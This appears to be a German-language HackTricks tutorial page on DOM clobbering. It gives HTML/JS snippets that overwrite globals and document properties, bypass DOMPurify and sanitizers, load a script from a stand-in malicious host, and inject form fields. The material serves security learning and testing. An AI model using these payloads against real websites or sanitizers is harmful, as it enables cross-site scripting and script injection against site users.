Dom Clobbering

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlagen

Es ist möglich, globale Variablen im JS-Kontext mit den Attributen id und name in HTML-Tags zu generieren.

html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

Nur bestimmte Elemente können das name-Attribut verwenden, um Globals zu clobbern, und zwar: embed, form, iframe, image, img und object.

Interessanterweise, wenn Sie ein Formular-Element verwenden, um eine Variable zu clobbern, erhalten Sie den toString-Wert des Elements selbst: [object HTMLFormElement], aber bei Anker wird der toString der Anker href sein. Daher können Sie, wenn Sie mit dem a-Tag clobbern, den Wert steuern, wenn er als String behandelt wird:

html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Arrays & Attribute

Es ist auch möglich, ein Array und Objektattribute zu überschreiben:

html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

Um ein 3. Attribut (z.B. x.y.z) zu überschreiben, müssen Sie ein form verwenden:

html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

Das Überschreiben weiterer Attribute ist komplizierter, aber dennoch möglich, indem man iframes verwendet:

html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

warning

Das style-Tag wird verwendet, um genug Zeit für das Rendern des iframes zu geben. Ohne es wirst du eine Warnung von undefined finden.

Um tiefere Attribute zu überschreiben, kannst du iframes mit HTML-Codierung auf diese Weise verwenden:

html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

Filterumgehung

Wenn ein Filter durch die Eigenschaften eines Knotens mit etwas wie document.getElementByID('x').attributes schleift, könntest du das Attribut .attributes überschreiben und den Filter brechen. Andere DOM-Eigenschaften wie tagName, nodeName oder parentNode und mehr sind ebenfalls überschreibbar.

html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

Clobbering window.someObject

In JavaScript ist es üblich, Folgendes zu finden:

javascript
var someObject = window.someObject || {}

Das Manipulieren von HTML auf der Seite ermöglicht es, someObject mit einem DOM-Knoten zu überschreiben, was potenziell Sicherheitsanfälligkeiten einführen kann. Zum Beispiel können Sie someObject durch ein Ankerelement ersetzen, das auf ein bösartiges Skript verweist:

html
<a id=someObject href=//malicious-website.com/malicious.js></a>

In einem anfälligen Code wie:

html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.

Trick: DOMPurify erlaubt die Verwendung des cid:-Protokolls, das doppelte Anführungszeichen nicht URL-kodiert. Das bedeutet, dass Sie ein kodiertes doppeltes Anführungszeichen injizieren können, das zur Laufzeit dekodiert wird. Daher wird das Injizieren von etwas wie <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> dazu führen, dass das HTML-kodierte &quot; zur Laufzeit dekodiert wird und aus dem Attributwert entkommt, um das onerror-Ereignis zu erzeugen.

Eine andere Technik verwendet ein form-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formularelements, um sie zu bereinigen. Durch das Hinzufügen eines input mit id=attributes innerhalb des Formulars überschreiben Sie jedoch effektiv die Eigenschaften der Attribute, wodurch der Sanitizer daran gehindert wird, auf die tatsächlichen Attribute zuzugreifen.

Sie können ein Beispiel für diese Art von Clobbering in diesem CTF-Bericht finden.

Clobbering des Dokumentobjekts

Laut der Dokumentation ist es möglich, Attribute des Dokumentobjekts mithilfe von DOM Clobbering zu überschreiben:

Die Document Schnittstelle unterstützt benannte Eigenschaften. Die unterstützten Eigenschaftsnamen eines Document Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in Baumreihenfolge entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von id Attributen vor Werten von Namensattributen kommen, wenn dasselbe Element beide beiträgt:

- Der Wert des Namensinhaltsattributs für alle exposed embed, form, iframe, img und exposed object Elemente, die ein nicht leeres Namensinhaltattribut haben und sich in einem Dokumentbaum mit Dokument als ihrem Wurzel befinden;

- Der Wert des id Inhaltsattributs für alle exposed object Elemente, die ein nicht leeres id Inhaltsattribut haben und sich in einem Dokumentbaum mit Dokument als ihrem Wurzel befinden;

- Der Wert des id Inhaltsattributs für alle img Elemente, die sowohl ein nicht leeres id Inhaltsattribut als auch ein nicht leeres Namensinhaltattribut haben und sich in einem Dokumentbaum mit Dokument als ihrem Wurzel befinden.

Mit dieser Technik können Sie häufig verwendete Werte wie document.cookie, document.body, document.children und sogar Methoden in der Document-Schnittstelle wie document.querySelector überschreiben.

javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Schreiben nach dem Element, das überschrieben wurde

Die Ergebnisse von Aufrufen von document.getElementById() und document.querySelector() können verändert werden, indem ein <html>- oder <body>-Tag mit einem identischen id-Attribut injiziert wird. So kann es gemacht werden:

html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

Darüber hinaus kann durch den Einsatz von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im innerText verhindert werden, wodurch die Wirksamkeit des Angriffs erhöht wird:

html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Untersuchungen zu SVG haben ergeben, dass ein <body>-Tag ebenfalls effektiv genutzt werden kann:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Um das HTML-Tag innerhalb von SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein <foreignobject>-Tag erforderlich:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

Es ist möglich, neue Einträge in ein Formular hinzuzufügen, indem man einfach das form-Attribut in einigen Tags angibt. Man kann dies verwenden, um neue Werte in ein Formular hinzuzufügen und sogar einen neuen Button hinzuzufügen, um ihn zu senden (Clickjacking oder Missbrauch von etwas .click() JS-Code):

html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks